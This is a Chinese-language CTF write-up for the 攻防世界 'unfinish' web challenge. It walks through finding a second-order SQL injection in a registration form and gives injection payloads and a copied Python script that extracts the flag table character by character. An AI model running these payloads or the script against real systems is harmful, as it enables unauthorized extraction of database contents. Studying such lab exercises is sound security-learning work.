攻防世界-web进阶-unfinish
无wp寸步难行
原链:https://blog.csdn.net/hxhxhxhxx/article/details/107900247
攻防世界web进阶区unfinish详解
题目
详解
我们使用御剑,扫描一波
我们进入注册页面查看,发现这个,有注册的话猜一下二次注入(这里注入,然后去页面看结果)
我们先拿AWVS试试,
哦~我的上帝,它存在注入
我们试试,burp的fuzz看看他过滤了什么
还是过滤了蛮多的
这些是都没过滤的
既然知道了他是sql注入
那么我们为啥不用sqlmap呢
我们使用sqlmap,发现只能知道这里有注入点,但是过滤很严重
我们需要找找合适的tamper
哦~我的上帝,果然不行,看来还得看看师傅们怎么写的
我们推测这里的语句是
insert into tables value('$email','$username','$passwpord');
登录成功后语句:
SELECT * FROM tables WHERE email = ''$email";
他这里注册的时候作了限制,所以联合查询这种方法不能用。
那么尝试在注册时用户名处进行闭合。
用户名处构造group_concat(1,database()),database','1')#
结果返回
nnnnoooo!!!
有过滤,
被过滤就是这样子
用户名注册时加个单引号注册失败,双引号注册成功,说明可能为单引号闭合·,
注册一个。
email: 123@123.com
username: 1' and '0
password: 123
登陆发现,用户名处回显0
说明存在注入,and运算结果为0.
下面节选自
https://yanmie-art.github.io/2020/08/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cunfinish/
与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。
如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。
抄大佬的脚本
import requests import re register_url = '/register.php' login_url = '/login.php' for i in range(1, 100): register_data = { 'email': '111@123.com%d' % i, 'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i, 'password': 'admin' } res = requests.post(url=register_url, data=register_data) login_data = { 'email': '111@123.com%d' % i, 'password': 'admin' } res_ = requests.post(url=login_url, data=login_data) code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text) print(chr(int(code.group(1))), end='')
题目真的越来越难了,没有wp寸步难行唉,太菜了